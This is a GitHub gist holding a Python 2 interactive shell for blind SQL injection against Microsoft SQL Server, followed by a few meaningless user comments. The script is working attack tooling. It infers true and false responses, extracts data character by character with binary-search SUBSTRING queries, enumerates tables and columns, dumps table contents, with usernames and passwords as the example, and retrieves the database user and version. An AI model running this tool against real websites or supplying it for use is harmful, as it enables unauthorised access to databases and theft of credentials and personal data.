Skip to content

Instantly share code, notes, and snippets.

@wcc526
Last active April 7, 2023 15:30
Show Gist options
  • Save wcc526/d404c7a95439196756b0 to your computer and use it in GitHub Desktop.
Save wcc526/d404c7a95439196756b0 to your computer and use it in GitHub Desktop.
Blind SQL injection Python shell
#!/usr/bin/env python
'''
Blind SQL injection Python shell
BSIShell is a simple python script that permits blind SQL injection.
by Rodrigo Marcos
'''
import urllib2
import urllib
import string
import sys
TRUE_CONDITION = '1=1' # substring((select 'a'),1,1)='a'
FALSE_CONDITION = '1=2' # substring((select 'a'),1,1)='b'
MAX_LENGTH = 256
MAX_NUM = 1024
pre = ''
post = ''
result_true = ''
result_false = ''
ready = 0
def check():
global ready
if ready:
return 1
else:
prepare()
return ready
def prepare():
global result_true
global result_false
global ready
if pre == '':
print '[+] Error: at least "pre" parameter has to be set'
ready = 0
return
print '[+] Learning true/false results'
result_true = dorequest(TRUE_CONDITION)
result_false = dorequest(FALSE_CONDITION)
#print result_true
#print result_false
if result_true == result_false:
print '[+] Error: I could not identify true/false conditions. The following requests returned the same data:'
print '\t - ' + pre + TRUE_CONDITION + post
print '\t - ' + pre + FALSE_CONDITION + post
#sys.exit(0)
ready = 0
return
else:
print '[+] Retrieved true/false conditions. Ready to start.'
ready = 1
return
def dorequest(sql):
#this function makes a request and returns the response
request = pre + sql + post
#print request
request = string.replace(request, ' ', '%20')
req = urllib2.Request(request)
#req.add_header('Host', '172.30.3.230')
#req.add_header('Cookie', 'JSESSIONID=8D6286F331B4614B7B60680FDA913112; marathon=ok')
try:
r = urllib2.urlopen(req)
except urllib2.URLError, msg:
print "[+] Error: Error requesting URL (%s)" % msg
return r.read()
def getspace(sqlrequest, position):
#This function detects if the the item is a lowercase/uppercase character or a number
#return range(32,127)
upper = 0
lower = 0
number = 0
request = "ASCII(UPPER(SUBSTRING((" + sqlrequest + "), " + str(position) + ", 1)))= ASCII(SUBSTRING((" + sqlrequest + "), " + str(position) + ', 1))'
if dorequest(request)==result_true:
upper = 1
request = "ASCII(LOWER(SUBSTRING((" + sqlrequest + "), " + str(position) + ", 1)))= ASCII(SUBSTRING((" + sqlrequest + "), " + str(position) + ', 1))'
if dorequest(request)==result_true:
lower = 1
if upper and lower:
#if upper and lower are true, that means that it is a number or a symbol
return range(32, 65) + range(91,97) + range(123,127)
elif upper:
return range(65,91)
else:
return range(97,123)
def detectend(sqlrequest, position):
#this function will detect if the request returns a null
request = "ASCII(SUBSTRING((" + sqlrequest + "), " + str(position) + ", 1)) IS NULL"
if dorequest(request)==result_true:
return 1
else:
return 0
def getvalue(sqlquery, position, space):
#this function searchs a certain position and get they result
#We first perform some approximation
while len(space)>8:
space = approximate(sqlquery, position, space)
#We now continue bruteforcing the remaining space
for letter in space:
request = "ASCII(SUBSTRING((" + sqlquery + "), " + str(position) + ', 1))=' + str(letter)
if dorequest(request)==result_true:
return chr(letter)
return '.'
def approximate(sqlquery, position, space):
middle = len(space)/2
request = "ASCII(SUBSTRING((" + sqlquery + "), " + str(position) + ', 1))>=' + str(space[middle])
#print request
if dorequest(request)==result_true:
return space[middle:] # second half
else:
return space[:middle] # first half
##########################################################################################################
# Low level functions
##########################################################################################################
def getnumericvalue(sqlquery):
if not check():
return
for num in range(0,MAX_NUM):
request = '(' + sqlquery + ")=" + str(num)
if dorequest(request)==result_true:
#print str(num)
return num
def getstringvalue(sqlquery, show=0, slen = MAX_LENGTH):
if not check():
return
result = ''
for position in range(1,slen+1):
if detectend(sqlquery, position):
break
letter = getvalue(sqlquery, position, getspace(sqlquery, position))
if show:
print letter,
result += letter
return result
##########################################################################################################
# High level functions
##########################################################################################################
def table_enumeration():
if not check():
return
#table enumeration
print '[+] Starting table enumeration'
sqlquery = 'SELECT COUNT(name) FROM sysobjects WHERE xtype=char(85)'
n_tables = getnumericvalue(sqlquery)
print '\t [+] Number of tables detected: ' + str(n_tables)
tableid = '0'
for tablecounter in range(1,n_tables+1):
print '\t\t [+] Table ' + str(tablecounter) + ':'
sqlquery = 'SELECT cast(MIN(id) as varchar) FROM sysobjects WHERE xtype=char(85) and id>' + tableid
tableid = string.replace(getstringvalue(sqlquery), ' ', '')
print '\t\t\t ID: ' + tableid
#sqlquery = 'select TOP 1 LEN(name) from sysobjects where id=' + tableid + ' AND xtype=char(85)'
#bi.getnumericvalue(sqlquery)
sqlquery = 'select name from sysobjects where id=' + tableid
tablename = string.replace(getstringvalue(sqlquery), ' ', '')
print '\t\t\t Name: ' + tablename
sqlquery = 'SELECT COUNT(*) FROM ' + tablename
nrows = getnumericvalue(sqlquery)
print '\t\t\t # Rows: ' + str(nrows)
sqlquery = 'SELECT COUNT(name) FROM syscolumns WHERE id=' + tableid
ncols = getnumericvalue(sqlquery)
print '\t\t\t # Cols: ' + str(ncols)
# Column enumeration
colid = 0
for colcounter in range(1, ncols+1):
sqlquery = 'SELECT MIN(colid) FROM syscolumns WHERE colid > ' + str(colid) + ' AND id=' + tableid
colid = getnumericvalue(sqlquery)
sqlquery = 'SELECT name FROM syscolumns where id=' + tableid + ' AND colid=' + str(colid)
col = getstringvalue(sqlquery)
print '\t\t\t\t - ' + col
def table_content(table, colid, columns):
if not check():
return
print '[+] Starting table content retrieval'
print '\t [+] Table: ' + table
print '\t [+] Column ID: ' + colid
print '\t [+] Target Cols: ' + str(columns)
sqlquery = 'SELECT COUNT(' + colid + ') FROM ' + table
nrows = getnumericvalue(sqlquery)
print '\t\t\t # Rows: ' + str(nrows)
if nrows>0:
sqlquery = 'SELECT MIN(' + colid + ') FROM ' + table
mincolid = getnumericvalue(sqlquery) - 1
for rowcounter in range(1, nrows + 1):
sqlquery = 'SELECT MIN(' + colid + ') FROM ' + table + ' WHERE ' + colid + ' > ' + str(mincolid)
mincolid = getnumericvalue(sqlquery)
result = '\t\t\t\t' + str(mincolid) + '.- '
for column in columns:
sqlquery = 'SELECT ' + column + ' FROM ' + table + ' WHERE ' + colid + ' = ' + str(mincolid)
col = getstringvalue(sqlquery)
result += ' \t ' + col
print result
def version():
if not check():
return
print '[+] Starting version retrieval'
print '[+] As this takes a while, results will be shown as they are discovered'
sqlquery = 'select @@version'
result = getstringvalue(sqlquery, 1)
print
print result
def user():
if not check():
return
print '[+] Starting user retrieval'
#For some reason, we need to detect length first as it doesn't respond with nulls
sqlquery = 'select LEN(a.loginame) from master..sysprocesses as a where a.spid=@@SPID'
userlen = getnumericvalue(sqlquery)
sqlquery = 'select a.loginame from master..sysprocesses as a where a.spid=@@SPID'
loginname = getstringvalue(sqlquery,0,userlen)
sqlquery = 'select LEN(user)'
userlen = getnumericvalue(sqlquery)
sqlquery = 'select user'
user = getstringvalue(sqlquery,0,userlen)
print '[+] User: ' + loginname + ' (' + user + ')'
def help():
print '''
Blind SQL Injection Shell
Preparation:
- Set the pre and post parameters
eg. pre = "http://vulnerable/id=1' and "
eg. post = " or '1'='2"
High Level Functions:
- user() - Displays the database user
- version() - Displays the version of the database server
- table_enumeration() - Displays database structure
- table_content(table, id_column, colummns) - Displays the content on the database
eg. table_content('users', 'id', ['name', 'password'])
Low Level Functions:
- getnumericvalue(sqlquery) - Returns a numeric value from the database
eg. getnumericvalue('select LEN(user)')
- getstringvalue(sqlquery, [verbose],[length]) - Returns a string value from the database
eg. getstringvalue('select @@version')
Others:
- help() - This help output
- quit() - Quit
'''
def quit():
sys.exit(0)
##########################################################################################################
# Main
##########################################################################################################
if __name__ == '__main__':
import code
banner = 'Blind SQL injection shell'
code.interact(banner=banner, local=globals())
@mohykan
Copy link

mohykan commented Sep 26, 2015

Main

@mohykan
Copy link

mohykan commented Sep 26, 2015

2.9.1971

@mohykan
Copy link

mohykan commented Sep 26, 2015

sqelery

@mohykan
Copy link

mohykan commented Sep 26, 2015

sqlquery

@mohykan
Copy link

mohykan commented Sep 26, 2015

!/usr/bin/ern pyton

@mohykan
Copy link

mohykan commented Sep 26, 2015

!usr/bin/evn python

@mohykan
Copy link

mohykan commented Sep 26, 2015

5

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment